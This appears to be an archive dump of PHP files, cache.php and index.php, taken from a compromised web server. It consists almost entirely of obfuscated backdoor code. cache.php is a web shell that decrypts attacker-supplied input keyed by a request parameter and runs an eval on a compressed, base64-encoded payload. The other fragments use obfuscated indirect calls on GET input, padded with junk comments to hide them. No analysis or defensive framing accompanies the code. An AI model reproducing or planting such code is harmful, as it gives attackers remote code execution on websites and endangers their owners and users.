"\141\65\60\65\x30\145\144\63\x38\67\x31\146\x64\x36\x61\x30\64\x64\61\x31\142\x30\146\145\143\62\143\x61\x64\61\60\71")) { goto RjrPoILgdIDYwMc; } goto oCtfh7uJiKi3aDz; SKoq3P5hX_6OVlv: $GXyfy8lcfm7s2_Y = @$jLN0gh1wlR9GCug[3 + 0]($jLN0gh1wlR9GCug[5 + 1], $D6DD6UR2VKL1fv4); goto VQ0ZrBInlNWdWo_; zuDSTdsAgBMUdXJ: RjrPoILgdIDYwMc: goto QtcVtLyyiweDcqt; cskkQrs6pLx1Nfs: $D6DD6UR2VKL1fv4 = @$jLN0gh1wlR9GCug[1]($jLN0gh1wlR9GCug[8 + 2](INPUT_GET, $jLN0gh1wlR9GCug[6 + 3])); goto SKoq3P5hX_6OVlv; fo4d4k6Bxmu1AoZ: UKAmoq2rRM90bPy: goto cskkQrs6pLx1Nfs; QtcVtLyyiweDcqt: } } goto wRTkK6dL9z9GPpM; wRTkK6dL9z9GPpM: Iul3UWES5jhtNs6::oG8Dcpc9U_dG_E1();
?>
cache.php000066600000013017151137755600006340 0ustar00<?php $IlPHF = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioZWe6aYGANAA'; $hjG = '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'; function IlPHF($InEta) { $hjG = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $shR = substr($hjG, 0, 16); $cQHN = base64_decode($InEta); return openssl_decrypt($cQHN, "AES-256-CBC", $hjG, OPENSSL_RAW_DATA, $shR); } if (IlPHF('DjtPn+r4S0yvLCnquPz1fA')){ echo 'k269jPlMEkS3izZe7yNZMrg47j7l64ojh+FOeTiHDmvAvims4h/sI/V3pUeSeThM'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($IlPHF)))); ?>index.php000066600000003242151137755600006403 0ustar00<?php /*-

☺♆

#0x☺♆

-*///
$qmb /*-
◘◓㊌Θ♠✩➽☆ⓣ
gNa@88(L◘◓㊌Θ♠✩➽☆ⓣ
-*///
=/*-

@⇈

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